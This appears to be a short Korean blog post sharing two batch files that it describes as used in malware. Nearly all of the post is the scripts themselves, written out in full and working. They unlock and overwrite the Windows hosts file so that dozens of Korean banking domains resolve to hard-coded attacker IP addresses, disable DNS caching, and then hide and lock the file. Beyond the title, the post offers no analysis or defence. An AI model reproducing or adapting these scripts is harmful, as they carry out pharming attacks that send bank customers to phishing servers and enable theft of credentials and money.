악성코드 제작시 사용된 hosts 변조 batch 파일

 

음.. 이렇게 만드는 거였군...

 

---------------------------------------------------------------------------------------------------------------

@EchO OFF
REg add "hKEY_cURRENt_USER\SOFtWaRE\MicROSOFt\WiNdOWS\cuRRENtVERSiON\iNtERNEt SEttiNgS" /v
"DNScachEtiMEOut" /t "REG_DWORD" /d "0" /F
REg add "hKEY_cURRENt_USER\SOFtWaRE\MicROSOFt\WiNdOWS\cuRRENtVERSiON\iNtERNEt SEttiNgS" /v
"SERvERiNFOtiMEOut" /t "REG_DWORD" /d "0" /F
TASKKILL /F /IM conime.exe
echo y|cacls %wiNdiR%\sYsteM32\drivErs\eTc\hoSts /g everyone:f
attRib -R -a -S -h %WiNdiR%\SYStEM32\dRivERS\Etc\hoSts
for %%i in (C:\WINDOWS\system32\drivers\etc) do del %%i\hosts /q /s /f /a
@EchO 127.0.0.1 lOcalhOSt>%SYStEMROOt%\SYStEM32\dRivERS\Etc\hOSts
@EchO OFF
cOlOR c
attRib -R -a -S -h %WiNdiR%\SYStEM32\dRivERS\Etc\hOSts
EchO 60.239.236.35 BaNKiNG.NONGhYUp.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WWW.BaNKiNG.NOnGhyUp.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 NoNGhYup.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 ibz.nonghyup.com>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WWW.NoNghyUp.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WOOriBANK.coM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WWW.WOoRiBAnK.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 piB.WOOriBaNk.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 sPD.WoORiBaNK.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 U.WOORiBanK.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts

EchO 60.239.236.35 pot.wooribank.com>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WOOriBANK.coM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 OBaNK.KBStaR.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WWW.KBStaR.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 KBStaR.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 ObiZ.KbStaR.cOm>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WWW.ShiNhaN.coM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 BaNKiNg.SHiNHAN.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 bIZBanK.ShinhaN.cOm>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 easy.Shinhan.CoM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 OpEn.Shinhan.CoM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WWW.KeB.CO.Kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 baNK.KEb.cO.kR>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 fx.KeB.CO.Kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WWW.StaNdarDChartErED.cO.KR>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 Www.IbK.co.kR>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 MyBanK.ibK.CO.Kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 KIUP.ibK.CO.kR>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 open.ibK.CO.kR>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 haNABank.cOM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 WwW.hanaBANk.coM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 corp.hanaBANk.coM>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 www.keb.co.kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 bank.keb.co.kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 fx.keb.co.kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 ebank.keb.co.kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
EchO 60.239.236.35 online.keb.co.kr>>c:/WiNdOWS/SYStEM32/dRivERS/Etc/hOSts
attrib +r +a +s +h %windir%\system32\drivers\etc\hosts
echo y|cacls %windir%\system32\drivers\etc\hosts /g everyone:r

--------------------------------------------------------------------------------------------------------

@Echo off
rEg add "HKEY_CURRENT_USER\SoftWarE\Microsoft\WindoWs\CurrEntVErsion\IntErnEt SEttings" /v
"DnsCachETimEout" /t "REG_DWORD" /d "0" /f
rEg add "HKEY_CURRENT_USER\SoftWarE\Microsoft\WindoWs\CurrEntVErsion\IntErnEt SEttings" /v
"SErvErInfoTimEOut" /t "REG_DWORD" /d "0" /f
attrib -r -a -s -h %Windir%\systEm32\drivErs\Etc\hosts
@Echo 125.193.57.117 localhost>%SystEmRoot%\systEm32\drivErs\Etc\hosts
@Echo off
color C
attrib -r -a -s -h %Windir%\systEm32\drivErs\Etc\hosts
Echo 125.193.57.117 BaNKIng.nonghyup.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 NONGhyup.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WWW.NONGHYUp.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WooriBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WWW.WooriBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 pib.WooriBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 spd.WooriBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 u.WooriBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 hanaBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WWW.hanaBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 hanaBaNK.chzero.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 open.hanaBaNK.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 oBaNK.KBSTAR.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WWW.KBSTAR.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 KBSTAR.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 obiz.KBSTAR.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WWW.SHINHAN.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 BaNKIng.SHINHAN.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 bizBaNK.SHINHAN.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 open.SHINHAN.com>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WWW.IBK.co.kr>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 myBaNK.IBK.co.kr>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 kiup.IBK.co.kr>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 open.IBK.co.kr>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 WWW.KEB.co.kr>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 BaNK.keb.co.kr>>c:/WindoWs/systEm32/drivErs/Etc/hosts
Echo 125.193.57.117 fx.KEB.co.kr>>c:/WindoWs/systEm32/drivErs/Etc/hosts